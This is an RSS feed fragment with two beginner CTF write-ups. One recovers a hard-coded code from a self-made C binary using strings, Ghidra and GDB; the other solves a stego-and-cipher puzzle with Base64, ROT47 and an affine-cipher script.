            <pubDate>Tue, 08 Jul 2025 16:16:41 GMT</pubDate>
            <atom:updated>2025-07-08T16:16:41.824Z</atom:updated>
            <content:encoded><![CDATA[<p>So basically in this challenge i crafted a simple C executable that asks for the Code to output flag but the things that we had to find was CODE no the flag so basically The following is the output when it is run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*kMmGH0sKGnTI4qB9DfCFCA.png" /></figure><p>Now , yes solving with strings was easy but it was a self made challenge to solve with ghidra or gdb officially GDB lets see the strings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*CsW3EE53EQ7TnC_G5gfd0Q.png" /><figcaption>Strinngs Output</figcaption></figure><p>So basically you can see the flag aswell as the Code that is Hello.</p><p>Ghidra:</p><p>Now to solve this with Ghidra open the ghidra and go to main function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*aO5oBFRGGZBX7y0SEYJPcA.png" /></figure><p>This is the main function and you can see the hard coded CODE in strcmp function that is Hello.</p><p>GDB:</p><p>Now to solve in GDB is very intresting first load the program in GDB and set assembly-flavor to intel.</p><p>dissassmble main using disas main or disassmble main:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*E2xzLXJWP517wWGb7W8oow.png" /><figcaption>GDB output</figcaption></figure><p>Now as you can see the the disassembled code of main.</p><p>Now the concept it user inputs a code the code is checked against a known code in the program using strcmp() function .</p><p>So we have to set a breakpoint at strcmp function that b *main+72</p><p>because doing so will stop the execution of program at check and the values are loaded into the register for the comparison will remain in the registers and we can just analyze the memory of registers to get the code</p><p>because when ever function are called data is loaded into register upon which the operations are to be performed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*RV6l5mhEhG68P9kToqYcMg.png" /></figure><p>Breakpoint achived now using i r to show the register information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*JtgVAQ3h394tFpG1TWLnRg.png" /></figure><p>Now going back to disassemble code we saw swapping of values between 4 registers that are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*QDr6TNyojMEB4OncFczvog.png" /></figure><p>By analyzing the value of these register we will get the code:</p><p>Use x/20xs $rsi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*BAbZPGZGeSWOvNsigOhvmQ.png" /></figure><p>Here we go that was fun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*t-QPG9eieLtB3zLGsvntng.png" /></figure><p>Happy Hunting!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ade53ece9f18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apr1l f00l$ CTF challenge Easy]]></title>
            <link>https://medium.com/@malik.abid2k5/apr1l-f00l-ctf-challenge-easy-2d6ec5afcdd5?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d6ec5afcdd5</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Sun, 11 May 2025 14:30:01 GMT</pubDate>
            <atom:updated>2025-05-11T19:26:04.592Z</atom:updated>
            <content:encoded><![CDATA[<p>Starting we were provided with a Zip file.</p><p>In the Zip file we got a png and a txt file.</p><p>The name of zip was stegno so basically it was a stegno challenge.</p><p>After extracting the zip in the txt file we got a BASE64 string like this:</p><p>NEMyNDxFOTpEQTJEREhAQzU6N0pARjQyPw==</p><p>after decoding it we get this:</p><p>4C24&lt;E9:DA2DDH@C5:7J@F42?</p><p>using <a href="https://www.dcode.fr/cipher-identifier?__r=1.54e7adb243297b2aafbdb7fe1a40355f">https://www.dcode.fr/cipher-identifier?__r=1.54e7adb243297b2aafbdb7fe1a40355f</a></p><p>It was identified as ROT 47</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*ARASAXPZ0AR6vB-eLi8Rmg.png" /></figure><p>By decrypting it we get :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*cZG29vukmLTNSWbHsn8fzA.png" /></figure><p>crackthispasswordifyoucan</p><p>so this was the password of steged image now using an online decoder <a href="https://futureboy.us/stegano/decinput.html">https://futureboy.us/stegano/decinput.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*ki7AIuVCFv_POZf4ES0n4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*GuZ3l3V8QpikSVX2sfcVMQ.png" /></figure><p>I got this</p><p>ho_dootq_xryq_xyaw</p><p>I tried putting it but guess what it was still encoded</p><p>The process of identifying the affine cypher was a bit tricky</p><p>as the identifiers were not giving the right type</p><p>so there were 3 things</p><p>either you know the type and you identified it yourself</p><p>or you tried every cypher one by one</p><p>or last but least only for challenges is to get a strong engagement with chatgpt and deepseek and any possible ai since the ai is also unable to identify it so it will be lengthy task</p><p>but if there is a Hint that is just easy</p><p>Working of Affine Cypher is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*osDfo8cwAk9BMFxm.png" /></figure><p>So you can also write a python script like this:</p><p>from math import gcd</p><p>def mod_inverse(a, m):<br> for i in range(m):<br> if (a * i) % m == 1:<br> return i<br> return None</p><p>def affine_decrypt(ciphertext, a, b):<br> a_inv = mod_inverse(a, 26)<br> if a_inv is None:<br> return None # a has no mod inverse<br> plaintext = ‘’<br> for char in ciphertext:<br> if char.isalpha():<br> base = ord(‘a’)<br> x = ord(char) — base<br> decrypted = (a_inv * (x — b)) % 26<br> plaintext += chr(decrypted + base)<br> else:<br> plaintext += char<br> return plaintext</p><p>cipher = “ho_dootq_xryq_xyaw”<br>valid_a = [a for a in range(1, 26, 2) if gcd(a, 26) == 1]</p><p># Try all (a, b) pairs<br>for a in valid_a:<br> for b in range(26):<br> result = affine_decrypt(cipher, a, b)<br> if result:<br> print(f”a={a}, b={b}: {result}”)</p><p>but and online decoder is easy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5U6WHP3Hw-C0JWlULVMnZg.png" /></figure><p>and we got it A= 7 and B = 20.</p><p>no_fools_this_time</p><p>As the Flag formate was SSH{}</p><p>So,</p><p>SSH{no_fools_this_time}</p><p>Thanks for Reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d6ec5afcdd5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>